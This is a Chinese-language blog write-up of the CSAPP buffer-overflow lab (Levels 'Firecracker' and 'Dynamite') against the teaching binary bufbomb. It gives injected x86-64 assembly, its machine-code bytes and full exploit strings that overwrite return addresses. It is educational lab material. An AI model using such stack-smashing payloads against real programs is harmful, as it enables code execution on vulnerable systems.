CSAPP——實驗三 內存攻擊(二)

內存攻擊

承接上文,本文繼續介紹《Hardware/Software Interface》的實驗三。

Level 2: Firecracker

Your task is to get bufbomb to execute the code for bang() rather than returning to test(). Before this, however, you must set global variable global_value to your cookie.

這次任務就需要向緩存區中注入指令來修改全局變量global_value的值,然後再ret命令跳轉到test函數,做法是先寫彙編代碼,再將彙編代碼編譯成目標文件,再利用objdump命令將文件反彙編:找到對應命令的二進制機器碼。

可查找到bang函數指令地址爲0x401020,查看bang函數的彙編代碼可知道全局變量global_value的內存地址爲0x602308,那麼編寫的彙編代碼bang.s如下:

mov $0x5be053965365c085,%rax    # set global = cookie 
mov %rax,0x0000000000602308
push $0x0000000000401020        # Push 0x401020 on to the stack
ret                     # Return

執行以下語句對代碼編譯和反彙編:

gcc -c bang.s
objdump -d bang.o > bang.d

這樣查看bang.d的內容如下:

   0:   48 b8 85 c0 65 53 96    movabs $0x5be053965365c085,%rax
   7:   53 e0 5b 
   a:   48 89 04 25 08 23 60    mov    %rax,0x602308
  11:   00 
  12:   68 20 10 40 00          pushq  $0x401020
  17:   c3                      retq   

最後要做的就是改變return address,以便讓其跳轉到合適的位置來執行上面的指令,通過gdb查看rbp指向的地址:
這裏寫圖片描述
那麼 改地址減去0x30之後爲0x7f ff ff ff b730. 我們可以得到整個輸入串:

48 b8 85c0 65 53 96 53 e0 5b48 89 04 25 08 23 60 0068 20 10 40 00c300112233445566770011223344556677001122334455667711 11 11 11 11 11 11 11 30 b7 ff ff ff 7f 00 00

直觀的棧空間如下圖:

這裏寫圖片描述

在GDB調試模式下運行成功:
這裏寫圖片描述

Level 3: Dynamite

Your job for this level is to supply an exploit string that will cause getbuf() to return your cookie back to test(), rather than the value 1.

這一個任務要求返回到test函數中去,並且設置返回的val值和我們個人的cookie值相同。那麼思路基本和level2是一致的,我們只需要將返回地址轉到0x7f ff ff ff b730執行指令,指令要完成把test函數的返回地址入棧,將cookie值保存到%rax寄存器中(默認函數調用的返回值將保存在寄存器%eax中),執行ret命令。可查到test調用gebuf之後的返回地址爲0x400ef3:
這裏寫圖片描述

還要注意的是,我們返回到test函數之後,test函數還要用其test frame的rbp,因此我們要確保gebuf frame中的old rbp 不被覆蓋,可以查到 old rbp 值爲0x7fffffffb790。

那麼和level2一樣的流程,最終反彙編之後的dynamite.bytes如下:

0000000000000000 <.text>:
   0:   68 f3 0e 40 00          pushq  $0x400ef3
   5:   48 b8 85 c0 65 53 96    movabs $0x5be053965365c085,%rax
   c:   53 e0 5b 
   f:   c3                      retq   

最終的輸入爲:

68 f3 0e 40 0048 b8 85 c0 65 53 96 53 e0 5bc300 11 22 33 44 55 66 7700 11 22 33 44 55 66 7700 11 22 33 44 55 66 7700 11 22 33 44 55 66 7790 b7 ff ff ff 7f 00 0030 b7 ff ff ff 7f 00 00

直觀的棧空間如下圖:
這裏寫圖片描述

在GDB調試模式下運行成功:
這裏寫圖片描述

總結

本實驗室讓我們深入瞭解內存棧空間的結構以及相關彙編指令的作用,非常值得我們細細回味。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章